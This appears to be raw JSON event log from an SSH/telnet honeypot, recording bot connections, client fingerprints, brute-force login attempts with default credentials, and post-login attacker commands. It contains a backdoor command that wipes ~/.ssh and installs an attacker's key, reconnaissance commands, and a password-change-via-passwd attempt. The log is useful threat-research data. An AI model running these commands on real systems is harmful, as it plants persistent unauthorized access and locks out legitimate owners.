{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:46.795936Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":51286,"dst_ip":"159.203.135.109","dst_port":22,"session":"02a7a6e92ad6","protocol":"ssh","message":"New connection: 45.156.87.204:51286 (159.203.135.109:22) [session: 02a7a6e92ad6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:46.877835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:46.882205Z","src_ip":"45.156.87.204","session":"02a7a6e92ad6","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:46.979779Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:46.983535Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:47.057173Z","src_ip":"45.156.87.204","session":"02a7a6e92ad6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:47.072127Z","src_ip":"94.26.106.229","session":"2c6d843b1b65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.155.125.131","src_port":43192,"dst_ip":"159.203.135.109","dst_port":22,"session":"d73e9c6db231","protocol":"ssh","message":"New connection: 124.155.125.131:43192 (159.203.135.109:22) [session: d73e9c6db231]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:47.149693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:47.154607Z","src_ip":"124.155.125.131","session":"d73e9c6db231","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:47.327709Z","src_ip":"124.155.125.131","session":"d73e9c6db231","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"123456","message":"login attempt [www/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:47.479442Z","src_ip":"45.156.87.204","session":"02a7a6e92ad6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:48.051053Z","src_ip":"124.155.125.131","session":"d73e9c6db231","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":51870,"dst_ip":"159.203.135.109","dst_port":22,"session":"82196cdcbcb6","protocol":"ssh","message":"New connection: 94.26.106.229:51870 (159.203.135.109:22) [session: 82196cdcbcb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:48.385674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:48.390581Z","src_ip":"94.26.106.229","session":"82196cdcbcb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.48442363739014,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:48.475649Z","src_ip":"152.42.224.71","session":"ec66ca732428","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:48.480920Z","src_ip":"94.26.106.229","session":"82196cdcbcb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:48.567366Z","src_ip":"45.156.87.204","session":"02a7a6e92ad6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:48.749385Z","src_ip":"94.26.106.229","session":"82196cdcbcb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:49.226086Z","src_ip":"124.155.125.131","session":"d73e9c6db231","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.155.125.131","src_port":44438,"dst_ip":"159.203.135.109","dst_port":22,"session":"54db76e2a975","protocol":"ssh","message":"New connection: 124.155.125.131:44438 (159.203.135.109:22) [session: 54db76e2a975]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:49.400862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:49.406232Z","src_ip":"124.155.125.131","session":"54db76e2a975","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:49.582702Z","src_ip":"124.155.125.131","session":"54db76e2a975","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.90258765220642,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:49.656606Z","src_ip":"152.42.224.71","session":"70ee861d31ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:49.841697Z","src_ip":"94.26.106.229","session":"82196cdcbcb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:50.317400Z","src_ip":"124.155.125.131","session":"54db76e2a975","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":51878,"dst_ip":"159.203.135.109","dst_port":22,"session":"cbf611c0ab4c","protocol":"ssh","message":"New connection: 94.26.106.229:51878 (159.203.135.109:22) [session: cbf611c0ab4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:50.494419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:50.499085Z","src_ip":"94.26.106.229","session":"cbf611c0ab4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:50.583032Z","src_ip":"94.26.106.229","session":"cbf611c0ab4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":51292,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ce2c7e49917","protocol":"ssh","message":"New connection: 45.156.87.204:51292 (159.203.135.109:22) [session: 7ce2c7e49917]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:50.806059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:50.810616Z","src_ip":"45.156.87.204","session":"7ce2c7e49917","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"arthur","message":"login attempt [root/arthur] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:50.834579Z","src_ip":"94.26.106.229","session":"cbf611c0ab4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:50.892319Z","src_ip":"45.156.87.204","session":"7ce2c7e49917","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle123","message":"login attempt [oracle/oracle123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:51.140760Z","src_ip":"45.156.87.204","session":"7ce2c7e49917","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:51.346895Z","src_ip":"45.156.87.204","session":"7ce2c7e49917","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:51.350473Z","src_ip":"45.156.87.204","session":"7ce2c7e49917","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:51.436734Z","src_ip":"45.156.87.204","session":"7ce2c7e49917","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:51.441607Z","src_ip":"45.156.87.204","session":"7ce2c7e49917","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:51.531750Z","src_ip":"124.155.125.131","session":"54db76e2a975","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:51.758576Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:51.762187Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:51.924092Z","src_ip":"94.26.106.229","session":"cbf611c0ab4c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:52.119627Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:52.348712Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin@2023\\nKt1CyqnKOWTu\\nKt1CyqnKOWTu\"|passwd|bash","message":"CMD: echo -e \"admin@2023\\nKt1CyqnKOWTu\\nKt1CyqnKOWTu\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:52.352018Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:52.355569Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:52.360586Z","src_ip":"124.155.125.131","session":"a5a65e52ea68","protocol":"ssh"}
